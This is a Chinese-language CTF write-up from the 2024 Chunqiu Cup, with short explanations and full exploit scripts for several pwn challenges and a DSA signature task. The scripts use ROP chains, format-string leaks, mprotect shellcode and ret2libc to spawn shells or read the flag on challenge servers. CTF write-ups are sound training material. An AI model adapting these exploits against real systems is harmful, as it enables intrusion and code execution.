2024春秋杯WP
考完试打一下春秋杯玩一下,题还是比较简单的,AWDP又是patch不上稳定发挥,还有题没时间做了,结束得分1314嘿嘿
CTF
初探勒索病毒
关注公众号获取提示,下载black-basta-buster-master,从服务器上找到加密的图片,按照提示解密即可
【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
Signature
阅读源码,第一步通过泄露的六位哈希爆破token,第二步根据泄露的信息验证签名
import itertools
import hashlib
from Excalibur2 import*
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
# 已知的哈希值前六位
# Plz input the token of happY_tHe_yEAR_Of_LOoNg
# Your gift --> 994eb2
# known_hash_prefix = "994eb2"
remo("8.147.128.54:33015")
default("h")
ru(b"Your gift --> ")
known_hash_prefix = ru(b"\n").decode().strip()
def find_matching_token(known_hash_prefix):
password = 'happy_the_year_of_loong'
possible_combinations = [
(c.lower(), c.upper()) if c.isalpha() else (c,)
for c in password
]
combinations = itertools.product(*possible_combinations)
for comb in combinations:
candidate = ''.join(comb)
candidate_hash = hashlib.sha256(candidate.encode()).hexdigest()
if candidate_hash.startswith(known_hash_prefix):
return candidate
matching_token = find_matching_token(known_hash_prefix)
print(f"Matching token: {matching_token}")
sla(b">", matching_token)
def cmd(c):
sla(b"1.sign",str(c))
cmd(3)
ru(b"Oh,your key is ")
p,q,g = eval(ru(b"\n").decode())
print(f"p={p}, q={q}, g={g}")
cmd(2)
ru(b"signature\n")
pri = int(ru(b"\n").decode())
print(f"pri={pri}")
def sign(m, pri, p, q, g):
k = random.randint(1, q - 1)
H = int(hashlib.sha256(m).hexdigest(), 16)
r = pow(g, k, p) % q
s = (pow(k, -1, q) * (H + pri * r)) % q
return r, s
m = "admin".encode()
signature = sign(m, pri, p, q, g)
r, s = signature
print(f"r={r}, s={s}")
sla(b"r:",str(r).encode())
sla(b"s:",str(s).encode())
ia()
stdout
控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
from Excalibur2 import*
proc("./pwn")
remo("39.106.48.123:44749")
el("./pwn")
default("h")
extend = 0x401287
vuln = 0x40125D
# main = 0x40132B
main = 0x401333
bss = 0x404070+0x100
read_plt = plt("read")
setvbuf_got = got("setvbuf")
pop_rsi_r15 = 0x4013d1
pop_rdi = 0x00000000004013d3
csu1 = 0x4013CA
csu2 = 0x4013B0
debug("b *0x40136E\n")
target = extend
pay1 = cyclic(0x58)+p64(vuln)
sd(pay1)
pay2 = cyclic(0x28)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(read_plt)+p64(vuln)
pay2 = pay2.ljust(0x200,b"\x00")
sd(pay2)
sleep(1)
sl("/bin/sh\x00")
pay3 = cyclic(0x28)+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
pay3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
pay3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
pause()
# pay3 = b"b"*0x20
pay3 = pay3.ljust(0x200,b"\x00")
sd(pay3)
sleep(1)
sd(b"\xc9")
pause()
sd(b"c"*0x3b)
ia()
"""
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
"""
Shuffled_Execution
在shellcode前面加一条短的带有零字节的汇编指令,截断比较长度绕过判断,使用openat,mmap,writev读Flag
from Excalibur2 import*
proc("./pwn")
remo("8.147.128.163:30951")
default("h")
sc = '''
mov eax, 0
mov eax, 9
syscall
mov rsp, rcx
add rsp, 0x200
'''
sc += shellcraft.openat(-1,"/flag")
sc +='''
mov rdi, rax
mov rax, 9
mov r8, rdi
xor rdi, rdi
mov rsi, 0x100
mov rdx, 1
mov r10, 0x02
mov r9, 0
syscall
push rax
push 0x1
pop rdi
push 0x1
pop rdx
push 0x100
add rsp, 8
mov rsi, rsp
push 20
pop rax
syscall
nop
nop
'''
shellcode = asm(sc)
lg("length",len(shellcode))
debug("b *$rebase(0x14D5)\n")
sla(b"entrance.",shellcode)
pause()
rc()
flag = rec(200)
pause()
if b"flag" in flag:
print(flag)
pause()
ia()
SavethePrincess
printf的时候泄露i,逐字节爆破随机数,格式化字符串泄露libc,canary和stack,mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag即可
from Excalibur2 import *
import struct
el("./pwn.test")
proc("./pwn")
remo("39.106.48.123:40019")
default("h")
def cmd(cmd):
sla(b">",str(cmd))
pwd = ""
realpwd = ""
s = "a"
for k in range(8):
# print("True")
# print(struct.pack('B',k+1))
# pause()
for j in range(26):
cmd(1)
pwd = pwd.ljust(10,"a")
sla(b"password:",pwd)
ru(pwd)
i = rec(1)
print(i)
if i != struct.pack('B',k+1):
s = chr(ord("b")+j)
pwd = realpwd+s
continue
idx = struct.unpack('B', i)[0]
print("Found!")
realpwd += s
print(realpwd)
break
pay1 = "-%{}$p-".format(13)
pay1 += "%{}$p-".format(15)
pay1 += "%{}$p-".format(10)
print(len(pay1))
debug("b *$rebase(0x170C)\n")
cmd(1)
sla(b"password:",realpwd)
sda(b"power!!!",pay1)
ru(b"-")
canary = int(ru(b"-"),16)
lg("canary",canary)
libc = int(ru(b"-"),16)-0x29d90
lg("libc",libc)
stack = int(ru(b"-"),16)
lg("stack",stack)
pop_rax = libc+0x0000000000045eb0
pop_rdi = libc+ 0x000000000002a3e5
pop_rsi = libc+0x000000000002be51
pop_rax_rdx_rbx = libc+0x00000000000904a8
mov_rdi_rsi = libc+0x00000000000a793d
xor_rax = libc+0x00000000000baaf9
syscall = libc+0x00000000000114885
cmd(2)
sc = shellcraft.openat(-1,"/flag")
sc += """
mov rdi, rax
mov rax, 9
mov r8, rdi
xor rdi, rdi
mov rsi, 0x100
mov rdx, 1
mov r10, 0x02
mov r9, 0
syscall
mov rsi, rax
mov rax, 1
mov rdi, 1
mov rdx, 0x100
sub rsi, 0x60
syscall
"""
pay2 = cyclic(0x38)+p64(canary)+b"a"*8+p64(pop_rdi)+p64((stack>>12)<<12)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax_rdx_rbx)+p64(10)+p64(7)+p64(0)+p64(syscall)
pay2 += p64(stack+0x1000+len(pay2)+0x10-0x1068)+asm(sc)
print(hex(len(pay2)))
sla(b"dragon!!",pay2)
ia()
"""
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x0000000000045eb0 : pop rax ; ret
0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000000a793d : mov rdi, rsi ; call rax
0x00000000000baaf9 : xor rax, rax ; ret
0x0000000000029db4 : syscall
"""
AWDP
spiiill
分析程序,先按双字读取命令,先进入函数偏移为0xA的函数绕过偏移不能超过0xB的限制,再进入函数偏移为0xC的函数,在后面跟上参数为sh,拿到shell
from Excalibur2 import *
proc("./pwn")
remo("8.147.132.12:24531")
default("h")
pay = b"\x0A\x00\x00\x00\x00\x00\x00\x00"
pay += b"\x0C\x00\x00\x00\x00\x00\x00\x00"
pay += p64(0xFFFFFFFFFFFFFC02)
pay += b"sh\x00"
def cmd(c):
sla(b"choice:", str(c))
cmd(2)
sd(pay)
debug("b *$rebase(0x1D38)\nb *$rebase(0x1C78)\n")
cmd(3)
ia()
simpleSys
攻击
密码输入36个a编码之后最后一位为\x00,截断长度绕过判断,printf打印时泄露出基地址,打ret2libc
from Excalibur2 import*
proc("./pwn.bak")
remo("8.147.134.120:19373")
el("./pwn.bak")
lib("./libc.so.6")
default("h")
def cmd(c):
sla(b"choice:", str(c))
cmd(2)
sla(b"username",b"root")
sla(b"password",b"a"*36)
cmd(3)
sla(b"length:",b"-1")
pay = b"a"*0x68
sl(pay)
debug("b *$rebase(0x1567)\n")
sla(b"confirm",b"n")
ru(pay)
pie = uu64(rec(6))
lg("pie",pie)
base = pie -0x187d
lg("base",base)
pop_rdi = base + 0x0000000000001751
ret = base+0x000000000000101a
read_got = base+got("read")
puts_plt = base+plt("puts")
# cmd(3)
sla(b"length:",b"-1")
pay2 = b"a"*0x68+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(base+0x146A)
sl(pay2)
sla(b"confirm",b"y")
sleep(0.5)
real_read = get_addr64()
binsh,system = searchlibc("read",real_read,1)
pay3 = b"a"*0x68+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sleep(0.5)
sla(b"length:",b"-1")
sl(pay3)
sla(b"confirm",b"y")
ia()
"""
0x0000000000001751 : pop rdi ; ret
0x000000000000101a : ret
"""
防御
把密码读取长度改小就行